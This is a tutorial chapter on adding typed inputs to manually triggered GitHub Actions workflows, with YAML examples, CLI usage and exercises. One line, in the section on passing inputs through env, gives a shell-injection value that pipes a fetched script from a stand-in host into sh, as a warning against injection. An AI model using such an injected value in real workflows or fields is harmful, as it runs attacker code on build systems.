Sub topic 11
Adding typed inputs to manual runs
This chapter assumes you can write a workflow_dispatch trigger and read basic workflow YAML. Here you add inputs, so a person starting a run can choose its settings.
Declaring inputs
Inputs go under workflow_dispatch in an inputs map. Each key is an input name. Each input has a description and can set type, default and required.
on:
workflow_dispatch:
inputs:
environment:
description: Target environment
type: choice
options: [staging, production]
default: staging
dry_run:
description: Skip the real deployment
type: boolean
default: true
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Show chosen options
env:
TARGET: ${{ inputs.environment }}
DRY_RUN: ${{ inputs.dry_run }}
run: echo "Deploying to $TARGET (dry run: $DRY_RUN)"Input types
| Type | Renders in the UI as | Notes |
|---|---|---|
| `string` | Text box | The default when `type` is omitted |
| `number` | Text box | Holds a numeric value |
| `boolean` | Checkbox | Value is `true` or `false` |
| `choice` | Drop-down list | Needs an `options` list. `default` must match one option. |
| `environment` | Drop-down of the repository's environments | Useful with deployment protection rules |
Set required: true on an input that has no sensible default. The UI will not start the run until the field is filled in. Choices and defaults reduce typing mistakes, so prefer choice over a free-text string when the valid values are known.
Reading input values
You can read an input in two ways:
inputs.NAMEkeeps the declared type. A boolean stays a boolean in expressions such asif: inputs.dry_run.github.event.inputs.NAMEalways returns a string. A boolean there is the text'true'or'false'.
Use the inputs context in new workflows. Once a value reaches a shell variable, it is a string either way. Compare it as text, as in [ "$DRY_RUN" = "true" ].
- name: Real deploy
if: ${{ !inputs.dry_run }}
run: echo "Deploying for real"Pass inputs through env
The first example sets TARGET and DRY_RUN in env and reads them as $TARGET and $DRY_RUN. It never writes ${{ inputs.environment }} inside the run script. GitHub expands ${{ }} before the shell starts, so a free-text string input would be pasted straight into the script. A value such as "; curl evil.sh | sh # would then run as a command. Values in environment variables are data, not shell code.
Starting a run with inputs
The Run workflow button appears only when the workflow file is on the default branch. It shows a form built from your inputs. From the GitHub CLI, pass each value with -f:
gh workflow run deploy.yml --ref main -f environment=staging -f dry_run=falseThe REST API takes the same values in an inputs object. Send them to the POST /repos/{owner}/{repo}/actions/workflows/{workflow_id}/dispatches endpoint, together with a ref. Every value in that object is sent as a string.
Limits and common errors
- A workflow can define up to 25 inputs, and the payload can be at most 65,535 characters.
- A run that supplies a value outside the
optionslist of achoiceinput fails validation. - Inputs exist only for
workflow_dispatch(andworkflow_call). On apushrun,inputs.environmentis empty. If the workflow has several triggers, guard these steps withgithub.event_name == 'workflow_dispatch'or give the inputs defaults.
Exercise
A step uses if: github.event.inputs.dry_run == false, and it never runs, even when the box is unchecked. Why, and what is the fix?
Show answer
github.event.inputs returns strings, so the value is the text 'false', and comparing it with the boolean false is never true. Use the typed context instead: if: ${{ !inputs.dry_run }}. Alternatively, compare against the string with github.event.inputs.dry_run == 'false'.
Exercise
Why does the example pass inputs.environment through env instead of writing it directly in the run line?
Show answer
GitHub substitutes ${{ }} expressions into the script text before the shell runs it. Free-text input could then inject shell commands. An environment variable is read as data by the shell, so it cannot change the script.